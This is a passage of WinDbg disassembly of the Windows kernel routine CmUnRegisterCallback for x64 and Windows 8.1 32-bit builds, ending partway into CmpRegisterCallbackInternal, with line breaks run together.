rdi,cr8fffff800`042b77d8 450f22c5 mov cr8,r13fffff800`042b77dc f00fba351b6adcff00 lock btr dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],0fffff800`042b77e5 720c jb nt!CmUnRegisterCallback+0x63 (fffff800`042b77f3)nt!CmUnRegisterCallback+0x57:fffff800`042b77e7 488d0d126adcff lea rcx,[nt!CallbackUnregisterLock (fffff800`0407e200)]fffff800`042b77ee e85db7b9ff call nt!KiAcquireFastMutex (fffff800`03e52f50)nt!CmUnRegisterCallback+0x63:fffff800`042b77f3 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b77fc 488905056adcff mov qword ptr [nt!CallbackUnregisterLock+0x8 (fffff800`0407e208)],raxfffff800`042b7803 400fb6c7 movzx eax,dilfffff800`042b7807 8905236adcff mov dword ptr [nt!CallbackUnregisterLock+0x30 (fffff800`0407e230)],eaxfffff800`042b780d 48c78424b80000009cffffff mov qword ptr [rsp+0B8h],0FFFFFFFFFFFFFF9Chfffff800`042b7819 48895c2420 mov qword ptr [rsp+20h],rbxfffff800`042b781e 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b7827 4183ceff or r14d,0FFFFFFFFhfffff800`042b782b 664401b0c4010000 add word ptr [rax+1C4h],r14wfffff800`042b7833 f0480fba2dab69dcff00 lock bts qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],0fffff800`042b783d 730c jae nt!CmUnRegisterCallback+0xbb (fffff800`042b784b)nt!CmUnRegisterCallback+0xaf:fffff800`042b783f 488d0da269dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b7846 e875aabbff call nt!ExfAcquirePushLockExclusive (fffff800`03e722c0)nt!CmUnRegisterCallback+0xbb:fffff800`042b784b 418af5 mov sil,r13bfffff800`042b784e 4c8b9424a0000000 mov r10,qword ptr [rsp+0A0h]nt!CmUnRegisterCallback+0xc6:fffff800`042b7856 4533c0 xor r8d,r8dfffff800`042b7859 488d542420 lea rdx,[rsp+20h]fffff800`042b785e 488d0d6b69dcff lea rcx,[nt!CallbackListHead (fffff800`0407e1d0)]fffff800`042b7865 e8a261e5ff call nt!CmListGetNextElement (fffff800`0410da0c)fffff800`042b786a 488bf8 mov rdi,raxfffff800`042b786d 4889442428 mov qword ptr [rsp+28h],raxfffff800`042b7872 483bc3 cmp rax,rbxfffff800`042b7875 0f84b8000000 je nt!CmUnRegisterCallback+0x1a3 (fffff800`042b7933)nt!CmUnRegisterCallback+0xeb:fffff800`042b787b 4c395018 cmp qword ptr [rax+18h],r10fffff800`042b787f 75d5 jne nt!CmUnRegisterCallback+0xc6 (fffff800`042b7856)nt!CmUnRegisterCallback+0xf1:fffff800`042b7881 488b08 mov rcx,qword ptr [rax]fffff800`042b7884 488b4008 mov rax,qword ptr [rax+8]fffff800`042b7888 488908 mov qword ptr [rax],rcxfffff800`042b788b 48894108 mov qword ptr [rcx+8],raxfffff800`042b788f 8b4710 mov eax,dword ptr [rdi+10h]fffff800`042b7892 3bc3 cmp eax,ebxfffff800`042b7894 0f848f000000 je nt!CmUnRegisterCallback+0x199 (fffff800`042b7929)nt!CmUnRegisterCallback+0x10a:fffff800`042b789a 403af3 cmp sil,blfffff800`042b789d 746c je nt!CmUnRegisterCallback+0x17b (fffff800`042b790b)nt!CmUnRegisterCallback+0x10f:fffff800`042b789f 0f0d0d4269dcff prefetchw [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78a6 488b053b69dcff mov rax,qword ptr [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78ad 488bc8 mov rcx,raxfffff800`042b78b0 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b78b4 4883f910 cmp rcx,10hfffff800`042b78b8 7606 jbe nt!CmUnRegisterCallback+0x130 (fffff800`042b78c0)nt!CmUnRegisterCallback+0x12a:fffff800`042b78ba 488d48f0 lea rcx,[rax-10h]fffff800`042b78be eb03 jmp nt!CmUnRegisterCallback+0x133 (fffff800`042b78c3)nt!CmUnRegisterCallback+0x130:fffff800`042b78c0 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x133:fffff800`042b78c3 a802 test al,2fffff800`042b78c5 750b jne nt!CmUnRegisterCallback+0x142 (fffff800`042b78d2)nt!CmUnRegisterCallback+0x137:fffff800`042b78c7 f0480fb10d1869dcff lock cmpxchg qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],rcxfffff800`042b78d0 740c je nt!CmUnRegisterCallback+0x14e (fffff800`042b78de)nt!CmUnRegisterCallback+0x142:fffff800`042b78d2 488d0d0f69dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78d9 e89283b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x14e:fffff800`042b78de 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`042b78e7 664401a9c4010000 add word ptr [rcx+1C4h],r13wfffff800`042b78ef 7517 jne nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x161:fffff800`042b78f1 488d4150 lea rax,[rcx+50h]fffff800`042b78f5 483900 cmp qword ptr [rax],raxfffff800`042b78f8 740e je nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x16a:fffff800`042b78fa 663999c6010000 cmp word ptr [rcx+1C6h],bxfffff800`042b7901 7505 jne nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x173:fffff800`042b7903 e8a85eb7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x178:fffff800`042b7908 408af3 mov sil,blnt!CmUnRegisterCallback+0x17b:fffff800`042b790b 4c8d8424b8000000 lea r8,[rsp+0B8h]fffff800`042b7913 33d2 xor edx,edxfffff800`042b7915 33c9 xor ecx,ecxfffff800`042b7917 e800f7bcff call nt!KeDelayExecutionThread (fffff800`03e8701c)fffff800`042b791c 448b5f10 mov r11d,dword ptr [rdi+10h]fffff800`042b7920 443bdb cmp r11d,ebxfffff800`042b7923 0f8571ffffff jne nt!CmUnRegisterCallback+0x10a (fffff800`042b789a)nt!CmUnRegisterCallback+0x199:fffff800`042b7929 448be3 mov r12d,ebxfffff800`042b792c 899c24b0000000 mov dword ptr [rsp+0B0h],ebxnt!CmUnRegisterCallback+0x1a3:fffff800`042b7933 48891dce68dcff mov qword ptr [nt!CallbackUnregisterLock+0x8 (fffff800`0407e208)],rbxfffff800`042b793a 448a2def68dcff mov r13b,byte ptr [nt!CallbackUnregisterLock+0x30 (fffff800`0407e230)]fffff800`042b7941 ba01000000 mov edx,1fffff800`042b7946 8bc2 mov eax,edxfffff800`042b7948 f00fc105b068dcff lock xadd dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],eaxfffff800`042b7950 3bc3 cmp eax,ebxfffff800`042b7952 7427 je nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1c4:fffff800`042b7954 a802 test al,2fffff800`042b7956 7523 jne nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1c8:fffff800`042b7958 03c2 add eax,edxfffff800`042b795a 8d48fe lea ecx,[rax-2]fffff800`042b795d f00fb10d9b68dcff lock cmpxchg dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],ecxfffff800`042b7965 7514 jne nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1d7:fffff800`042b7967 4533c0 xor r8d,r8dfffff800`042b796a 488d0da768dcff lea rcx,[nt!CallbackUnregisterLock+0x18 (fffff800`0407e218)]fffff800`042b7971 e88accbcff call nt!KeSetEvent (fffff800`03e84600)fffff800`042b7976 ba01000000 mov edx,1nt!CmUnRegisterCallback+0x1eb:fffff800`042b797b 410fb6c5 movzx eax,r13bfffff800`042b797f 440f22c0 mov cr8,raxfffff800`042b7983 403af2 cmp sil,dlfffff800`042b7986 756d jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x1f8:fffff800`042b7988 0f0d0d5968dcff prefetchw [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b798f 488b055268dcff mov rax,qword ptr [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b7996 488bc8 mov rcx,raxfffff800`042b7999 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b799d 4883f910 cmp rcx,10hfffff800`042b79a1 7606 jbe nt!CmUnRegisterCallback+0x219 (fffff800`042b79a9)nt!CmUnRegisterCallback+0x213:fffff800`042b79a3 488d48f0 lea rcx,[rax-10h]fffff800`042b79a7 eb03 jmp nt!CmUnRegisterCallback+0x21c (fffff800`042b79ac)nt!CmUnRegisterCallback+0x219:fffff800`042b79a9 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x21c:fffff800`042b79ac a802 test al,2fffff800`042b79ae 750b jne nt!CmUnRegisterCallback+0x22b (fffff800`042b79bb)nt!CmUnRegisterCallback+0x220:fffff800`042b79b0 f0480fb10d2f68dcff lock cmpxchg qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],rcxfffff800`042b79b9 740c je nt!CmUnRegisterCallback+0x237 (fffff800`042b79c7)nt!CmUnRegisterCallback+0x22b:fffff800`042b79bb 488d0d2668dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b79c2 e8a982b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x237:fffff800`042b79c7 65488b142588010000 mov rdx,qword ptr gs:[188h]fffff800`042b79d0 b801000000 mov eax,1fffff800`042b79d5 660182c4010000 add word ptr [rdx+1C4h],axfffff800`042b79dc 7517 jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x24e:fffff800`042b79de 488d4a50 lea rcx,[rdx+50h]fffff800`042b79e2 483909 cmp qword ptr [rcx],rcxfffff800`042b79e5 740e je nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x257:fffff800`042b79e7 66399ac6010000 cmp word ptr [rdx+1C6h],bxfffff800`042b79ee 7505 jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x260:fffff800`042b79f0 e8bb5db7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x265:fffff800`042b79f5 443be3 cmp r12d,ebxfffff800`042b79f8 7d08 jge nt!CmUnRegisterCallback+0x272 (fffff800`042b7a02)nt!CmUnRegisterCallback+0x26a:fffff800`042b79fa 418bc4 mov eax,r12dfffff800`042b79fd e9e5010000 jmp nt!CmUnRegisterCallback+0x457 (fffff800`042b7be7)nt!CmUnRegisterCallback+0x272:fffff800`042b7a02 488d442438 lea rax,[rsp+38h]fffff800`042b7a07 4889442440 mov qword ptr [rsp+40h],raxfffff800`042b7a0c 488d442438 lea rax,[rsp+38h]fffff800`042b7a11 4889442438 mov qword ptr [rsp+38h],raxfffff800`042b7a16 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b7a1f 664401b0c4010000 add word ptr [rax+1C4h],r14wfffff800`042b7a27 f0480fba2daf67dcff00 lock bts qword ptr [nt!ContextListLock (fffff800`0407e1e0)],0fffff800`042b7a31 730c jae nt!CmUnRegisterCallback+0x2af (fffff800`042b7a3f)nt!CmUnRegisterCallback+0x2a3:fffff800`042b7a33 488d0da667dcff lea rcx,[nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7a3a e881a8bbff call nt!ExfAcquirePushLockExclusive (fffff800`03e722c0)nt!CmUnRegisterCallback+0x2af:fffff800`042b7a3f 4c8d6f40 lea r13,[rdi+40h]fffff800`042b7a43 498b7500 mov rsi,qword ptr [r13]fffff800`042b7a47 493bf5 cmp rsi,r13fffff800`042b7a4a 745f je nt!CmUnRegisterCallback+0x31b (fffff800`042b7aab)nt!CmUnRegisterCallback+0x2bc:fffff800`042b7a4c 4c8b36 mov r14,qword ptr [rsi]fffff800`042b7a4f 488b4e20 mov rcx,qword ptr [rsi+20h]fffff800`042b7a53 e8a851beff call nt!ObReferenceObjectSafe (fffff800`03e9cc00)fffff800`042b7a58 3ac3 cmp al,blfffff800`042b7a5a 7438 je nt!CmUnRegisterCallback+0x304 (fffff800`042b7a94)nt!CmUnRegisterCallback+0x2cc:fffff800`042b7a5c 488b0e mov rcx,qword ptr [rsi]fffff800`042b7a5f 488b4608 mov rax,qword ptr [rsi+8]fffff800`042b7a63 488908 mov qword ptr [rax],rcxfffff800`042b7a66 48894108 mov qword ptr [rcx+8],raxfffff800`042b7a6a 488b4ef0 mov rcx,qword ptr [rsi-10h]fffff800`042b7a6e 488b46f8 mov rax,qword ptr [rsi-8]fffff800`042b7a72 488908 mov qword ptr [rax],rcxfffff800`042b7a75 48894108 mov qword ptr [rcx+8],raxfffff800`042b7a79 488b442440 mov rax,qword ptr [rsp+40h]fffff800`042b7a7e 488d4c2438 lea rcx,[rsp+38h]fffff800`042b7a83 48890e mov qword ptr [rsi],rcxfffff800`042b7a86 48894608 mov qword ptr [rsi+8],raxfffff800`042b7a8a 488930 mov qword ptr [rax],rsifffff800`042b7a8d 4889742440 mov qword ptr [rsp+40h],rsifffff800`042b7a92 eb03 jmp nt!CmUnRegisterCallback+0x307 (fffff800`042b7a97)nt!CmUnRegisterCallback+0x304:fffff800`042b7a94 448afb mov r15b,blnt!CmUnRegisterCallback+0x307:fffff800`042b7a97 498bf6 mov rsi,r14fffff800`042b7a9a 4d3bf5 cmp r14,r13fffff800`042b7a9d 75ad jne nt!CmUnRegisterCallback+0x2bc (fffff800`042b7a4c)nt!CmUnRegisterCallback+0x30f:fffff800`042b7a9f 4488bc24a8000000 mov byte ptr [rsp+0A8h],r15bfffff800`042b7aa7 4183ceff or r14d,0FFFFFFFFhnt!CmUnRegisterCallback+0x31b:fffff800`042b7aab 0f0d0d2e67dcff prefetchw [nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ab2 488b052767dcff mov rax,qword ptr [nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ab9 488bc8 mov rcx,raxfffff800`042b7abc 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b7ac0 4883f910 cmp rcx,10hfffff800`042b7ac4 7606 jbe nt!CmUnRegisterCallback+0x33c (fffff800`042b7acc)nt!CmUnRegisterCallback+0x336:fffff800`042b7ac6 488d48f0 lea rcx,[rax-10h]fffff800`042b7aca eb03 jmp nt!CmUnRegisterCallback+0x33f (fffff800`042b7acf)nt!CmUnRegisterCallback+0x33c:fffff800`042b7acc 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x33f:fffff800`042b7acf a802 test al,2fffff800`042b7ad1 750b jne nt!CmUnRegisterCallback+0x34e (fffff800`042b7ade)nt!CmUnRegisterCallback+0x343:fffff800`042b7ad3 f0480fb10d0467dcff lock cmpxchg qword ptr [nt!ContextListLock (fffff800`0407e1e0)],rcxfffff800`042b7adc 740c je nt!CmUnRegisterCallback+0x35a (fffff800`042b7aea)nt!CmUnRegisterCallback+0x34e:fffff800`042b7ade 488d0dfb66dcff lea rcx,[nt!ContextListLock (fffff800`0407e1e0)]fffff800`042b7ae5 e88681b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x35a:fffff800`042b7aea 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`042b7af3 b801000000 mov eax,1fffff800`042b7af8 660181c4010000 add word ptr [rcx+1C4h],axfffff800`042b7aff 7517 jne nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x371:fffff800`042b7b01 488d4150 lea rax,[rcx+50h]fffff800`042b7b05 483900 cmp qword ptr [rax],raxfffff800`042b7b08 740e je nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x37a:fffff800`042b7b0a 663999c6010000 cmp word ptr [rcx+1C6h],bxfffff800`042b7b11 7505 jne nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x383:fffff800`042b7b13 e8985cb7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x388:fffff800`042b7b18 488d442438 lea rax,[rsp+38h]fffff800`042b7b1d 488b742438 mov rsi,qword ptr [rsp+38h]fffff800`042b7b22 483bf0 cmp rsi,raxfffff800`042b7b25 747a je nt!CmUnRegisterCallback+0x411 (fffff800`042b7ba1)nt!CmUnRegisterCallback+0x397:fffff800`042b7b27 488b06 mov rax,qword ptr [rsi]fffff800`042b7b2a 4889442438 mov qword ptr [rsp+38h],raxfffff800`042b7b2f 488d4c2438 lea rcx,[rsp+38h]fffff800`042b7b34 48894808 mov qword ptr [rax+8],rcxfffff800`042b7b38 4883c6f0 add rsi,0FFFFFFFFFFFFFFF0hfffff800`042b7b3c 4889742430 mov qword ptr [rsp+30h],rsifffff800`042b7b41 488b4630 mov rax,qword ptr [rsi+30h]fffff800`042b7b45 4889442448 mov qword ptr [rsp+48h],raxfffff800`042b7b4a 488b4638 mov rax,qword ptr [rsi+38h]fffff800`042b7b4e 4889442450 mov qword ptr [rsp+50h],raxfffff800`042b7b53 4c8d442448 lea r8,[rsp+48h]fffff800`042b7b58 ba28000000 mov edx,28hfffff800`042b7b5d 488b4f20 mov rcx,qword ptr [rdi+20h]fffff800`042b7b61 ff5728 call qword ptr [rdi+28h]fffff800`042b7b64 eb20 jmp nt!CmUnRegisterCallback+0x3f6 (fffff800`042b7b86)nt!CmUnRegisterCallback+0x3f6:fffff800`042b7b86 488b4e30 mov rcx,qword ptr [rsi+30h]fffff800`042b7b8a e8b128bdff call nt!ObfDereferenceObject (fffff800`03e8a440)fffff800`042b7b8f ba434d6363 mov edx,63634D43hfffff800`042b7b94 488bce mov rcx,rsifffff800`042b7b97 e8f441cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)fffff800`042b7b9c e977ffffff jmp nt!CmUnRegisterCallback+0x388 (fffff800`042b7b18)nt!CmUnRegisterCallback+0x411:fffff800`042b7ba1 443afb cmp r15b,blfffff800`042b7ba4 751c jne nt!CmUnRegisterCallback+0x432 (fffff800`042b7bc2)nt!CmUnRegisterCallback+0x416:fffff800`042b7ba6 488d7740 lea rsi,[rdi+40h]nt!CmUnRegisterCallback+0x41a:fffff800`042b7baa 483936 cmp qword ptr [rsi],rsifffff800`042b7bad 7413 je nt!CmUnRegisterCallback+0x432 (fffff800`042b7bc2)nt!CmUnRegisterCallback+0x41f:fffff800`042b7baf 4c8d8424b8000000 lea r8,[rsp+0B8h]fffff800`042b7bb7 33d2 xor edx,edxfffff800`042b7bb9 33c9 xor ecx,ecxfffff800`042b7bbb e85cf4bcff call nt!KeDelayExecutionThread (fffff800`03e8701c)fffff800`042b7bc0 ebe8 jmp nt!CmUnRegisterCallback+0x41a (fffff800`042b7baa)nt!CmUnRegisterCallback+0x432:fffff800`042b7bc2 f0440135ca12d5ff lock add dword ptr [nt!CmpCallBackCount (fffff800`04008e94)],r14dfffff800`042b7bca 488b4f38 mov rcx,qword ptr [rdi+38h]fffff800`042b7bce 483bcb cmp rcx,rbxfffff800`042b7bd1 7407 je nt!CmUnRegisterCallback+0x44a (fffff800`042b7bda)nt!CmUnRegisterCallback+0x443:fffff800`042b7bd3 33d2 xor edx,edxfffff800`042b7bd5 e8b641cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)nt!CmUnRegisterCallback+0x44a:fffff800`042b7bda 33d2 xor edx,edxfffff800`042b7bdc 488bcf mov rcx,rdifffff800`042b7bdf e8ac41cfff call nt!ExFreePoolWithTag (fffff800`03fabd90)fffff800`042b7be4 418bc4 mov eax,r12dnt!CmUnRegisterCallback+0x457:fffff800`042b7be7 4883c460 add rsp,60hfffff800`042b7beb 415f pop r15fffff800`042b7bed 415e pop r14fffff800`042b7bef 415d pop r13fffff800`042b7bf1 415c pop r12fffff800`042b7bf3 5f pop rdifffff800`042b7bf4 5e pop rsifffff800`042b7bf5 5b pop rbxfffff800`042b7bf6 c3 ret
    Win8.1 32 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:8118a854 6a38 push 38h8118a856 68a84afe80 push offset nt!RtlpSparseBitmapCtxPrepareRanges+0x6429 (80fe4aa8)8118a85b e8183dd9ff call nt!_SEH_prolog4 (80f1e578)8118a860 c745d80d0000c0 mov dword ptr [ebp-28h],0C000000Dh8118a867 33db xor ebx,ebx8118a869 895db8 mov dword ptr [ebp-48h],ebx8118a86c 895dbc mov dword ptr [ebp-44h],ebx8118a86f 895dc0 mov dword ptr [ebp-40h],ebx8118a872 895dd0 mov dword ptr [ebp-30h],ebx8118a875 e8a4020000 call nt!CmpLockCallbackListExclusive (8118ab1e)8118a87a be00fb0081 mov esi,offset nt!CallbackListHead (8100fb00)nt!CmUnRegisterCallback+0x2b:8118a87f 53 push ebx8118a880 8d55d0 lea edx,[ebp-30h]8118a883 8bce mov ecx,esi8118a885 e81458f4ff call nt!CmListGetNextElement (810d009e)8118a88a 8bf8 mov edi,eax8118a88c 85ff test edi,edi8118a88e 897dd4 mov dword ptr [ebp-2Ch],edi8118a891 0f8409010000 je nt!CmUnRegisterCallback+0x14c (8118a9a0)nt!CmUnRegisterCallback+0x43:8118a897 ba00000080 mov edx,80000000h8118a89c 8b4f10 mov ecx,dword ptr [edi+10h]8118a89f 3b4d08 cmp ecx,dword ptr [ebp+8]8118a8a2 75db jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x50:8118a8a4 8b4714 mov eax,dword ptr [edi+14h]8118a8a7 3b450c cmp eax,dword ptr [ebp+0Ch]8118a8aa 75d3 jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x58:8118a8ac 8b4708 mov eax,dword ptr [edi+8]8118a8af 8945dc mov dword ptr [ebp-24h],eax8118a8b2 3bc3 cmp eax,ebx8118a8b4 0f8591000000 jne nt!CmUnRegisterCallback+0xf7 (8118a94b)nt!CmUnRegisterCallback+0x66:8118a8ba 8b0f mov ecx,dword ptr [edi]8118a8bc 8b4704 mov eax,dword ptr [edi+4]8118a8bf 397904 cmp dword ptr [ecx+4],edi8118a8c2 0f85e6000000 jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x74:8118a8c8 3938 cmp dword ptr [eax],edi8118a8ca 0f85de000000 jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x7c:8118a8d0 8908 mov dword ptr [eax],ecx8118a8d2 894104 mov dword ptr [ecx+4],eax8118a8d5 e8467befff call nt!CmpUnlockCallbackList (81082420)8118a8da 895dd8 mov dword ptr [ebp-28h],ebxnt!CmUnRegisterCallback+0x89:8118a8dd 8d45c4 lea eax,[ebp-3Ch]8118a8e0 8945c8 mov dword ptr [ebp-38h],eax8118a8e3 8945c4 mov dword ptr [ebp-3Ch],eax8118a8e6 885de3 mov byte ptr [ebp-1Dh],bl8118a8e9 e8f0020000 call nt!CmpLockContextListExclusive (8118abde)8118a8ee 8d4728 lea eax,[edi+28h]8118a8f1 8b30 mov esi,dword ptr [eax]8118a8f3 3bf0 cmp esi,eax8118a8f5 0f85c8d40800 jne nt! ?? ::NNGAKEGL::`string'+0x79759 (81217dc3)nt!CmUnRegisterCallback+0xa7:8118a8fb e86e020000 call nt!CmpUnlockContextList (8118ab6e)nt!CmUnRegisterCallback+0xac:8118a900 8d4dc4 lea ecx,[ebp-3Ch]8118a903 8b45c4 mov eax,dword ptr [ebp-3Ch]8118a906 3bc1 cmp eax,ecx8118a908 0f853fd50800 jne nt! ?? ::NNGAKEGL::`string'+0x797e3 (81217e4d)nt!CmUnRegisterCallback+0xba:8118a90e 807de300 cmp byte ptr [ebp-1Dh],08118a912 0f85aad50800 jne nt! ?? ::NNGAKEGL::`string'+0x79858 (81217ec2)nt!CmUnRegisterCallback+0xc4:8118a918 b9787eff80 mov ecx,offset nt!CmpCallBackCount (80ff7e78)8118a91d 83c8ff or eax,0FFFFFFFFh8118a920 f00fc101 lock xadd dword ptr [ecx],eax8118a924 48 dec eax8118a925 0f84d8d50800 je nt! ?? ::NNGAKEGL::`string'+0x79899 (81217f03)nt!CmUnRegisterCallback+0xd7:8118a92b 8b4724 mov eax,dword ptr [edi+24h]8118a92e 85c0 test eax,eax8118a930 7407 je nt!CmUnRegisterCallback+0xe5 (8118a939)nt!CmUnRegisterCallback+0xde:8118a932 53 push ebx8118a933 50 push eax8118a934 e8d7e6e5ff call nt!ExFreePoolWithTag (80fe9010)nt!CmUnRegisterCallback+0xe5:8118a939 53 push ebx8118a93a 57 push edi8118a93b e8d0e6e5ff call nt!ExFreePoolWithTag (80fe9010)nt!CmUnRegisterCallback+0xec:8118a940 8b45d8 mov eax,dword ptr [ebp-28h]8118a943 e8753cd9ff call nt!_SEH_epilog4 (80f1e5bd)8118a948 c20800 ret 8nt!CmUnRegisterCallback+0xf7:8118a94b 8555dc test dword ptr [ebp-24h],edx8118a94e 0f852bffffff jne nt!CmUnRegisterCallback+0x2b (8118a87f)nt!CmUnRegisterCallback+0x100:8118a954 8d7708 lea esi,[edi+8]8118a957 f00916 lock or dword ptr [esi],edx8118a95a e8c17aefff call nt!CmpUnlockCallbackList (81082420)8118a95f eb13 jmp nt!CmUnRegisterCallback+0x120 (8118a974)nt!CmUnRegisterCallback+0x10d:8118a961 53 push ebx8118a962 6a04 push 48118a964 8d45dc lea eax,[ebp-24h]8118a967 50 push eax8118a968 8bd6 mov edx,esi8118a96a b908fb0081 mov ecx,offset nt!CallbackListDeleteEvent (8100fb08)8118a96f e8e626caff call nt!ExBlockOnAddressPushLock (80e2d05a)nt!CmUnRegisterCallback+0x120:8118a974 8b06 mov eax,dword ptr [esi]8118a976 8945dc mov dword ptr [ebp-24h],eax8118a979 3d00000080 cmp eax,80000000h8118a97e 75e1 jne nt!CmUnRegisterCallback+0x10d (8118a961)nt!CmUnRegisterCallback+0x12c:8118a980 e899010000 call nt!CmpLockCallbackListExclusive (8118ab1e)8118a985 8b0f mov ecx,dword ptr [edi]8118a987 8b4704 mov eax,dword ptr [edi+4]8118a98a 397904 cmp dword ptr [ecx+4],edi8118a98d 751f jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x13b:8118a98f 3938 cmp dword ptr [eax],edi8118a991 751b jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt!CmUnRegisterCallback+0x13f:8118a993 8908 mov dword ptr [eax],ecx8118a995 894104 mov dword ptr [ecx+4],eax8118a998 e8837aefff call nt!CmpUnlockCallbackList (81082420)8118a99d 895dd8 mov dword ptr [ebp-28h],ebxnt!CmUnRegisterCallback+0x14c:8118a9a0 395dd8 cmp dword ptr [ebp-28h],ebx8118a9a3 0f8d34ffffff jge nt!CmUnRegisterCallback+0x89 (8118a8dd)nt!CmUnRegisterCallback+0x155:8118a9a9 e90bd40800 jmp nt! ?? ::NNGAKEGL::`string'+0x7974f (81217db9)nt!CmUnRegisterCallback+0x15a:8118a9ae 6a03 push 38118a9b0 59 pop ecx8118a9b1 cd29 int 29h8118a9b3 cc int 38118a9b4 cc int 38118a9b5 cc int 38118a9b6 cc int 38118a9b7 cc int 38118a9b8 8bff mov edi,edi8118a9ba 55 push ebp8118a9bb 8bec mov ebp,esp8118a9bd 53 push ebx8118a9be 56 push esi8118a9bf 57 push edi8118a9c0 68434d6362 push 62634D43h8118a9c5 6a30 push 30h8118a9c7 6a01 push 18118a9c9 8bfa mov edi,edx8118a9cb 8bd9 mov ebx,ecx8118a9cd e8feefe5ff call nt!ExAllocatePoolWithTag (80fe99d0)8118a9d2 8bf0 mov esi,eax8118a9d4 85f6 test esi,esi8118a9d6 0f8449d50800 je nt! ?? ::NNGAKEGL::`string'+0x798bb (81217f25)nt!CmpRegisterCallbackInternal+0x24:8118a9dc 897604 mov dword ptr [esi+4],esi8118a9df 8d4628 lea eax,[esi+28h]8118a9e2 8936 mov dword ptr [esi],esi8118a9e4 894004 mov dword ptr [eax+4],eax8118a9e7 8900 mov dword ptr [eax],eax8118a9e9 897e18 mov dword ptr [esi+18h],edi8118a9ec 8b7d08 mov edi,dword ptr [ebp+8]8118a9ef c7460800000000 mov dword ptr [esi+8],08118a9f6 895e1c mov dword ptr [esi+1Ch],ebx8118a9f9 68434d6361 push 61634D43h8118a9fe 0fb707 movzx eax,word ptr [edi]8118aa01 66894622 mov word ptr [esi+22h],ax8118aa05 66894620 mov word ptr [esi+20h],ax8118aa09 0fb707 movzx eax,word ptr [edi]8118aa0c 50 push eax8118aa0d 6a01 push 18118aa0f e8bcefe5ff call nt!ExAllocatePoolWithTag (80fe99d0)8118aa14 8bc8 mov ecx,eax8118aa16 894e24 mov dword ptr [esi+24h],ecx8118aa19 85c9 test ecx,ecx8118aa1b 743b je nt!CmpRegisterCallbackInternal+0xa0 (8118aa58)nt!CmpRegisterCallbackInternal+0x65:8118aa1d 0fb707 movzx eax,word ptr [edi]8118aa20 50 push eax8118aa21 ff7704 push dword ptr [edi+4]8118aa24 51 push ecx8118aa25 e82678d8ff call nt!memcpy (80f12250)8118aa2a 8a550c mov dl,byte ptr [ebp+0Ch]8118aa2d 83c40c add esp,0Ch8118aa30 8bce mov ecx,esi8118aa32 e831000000 call nt!CmpInsertCallbackInListByAltitude (8118aa68)8118aa37 8b5510 mov edx,dword ptr [ebp+10h]8118aa3a 8bf8 mov edi,eax8118aa3c 8b4e10 mov ecx,dword ptr [esi+10h]8118aa3f 890a mov dword ptr 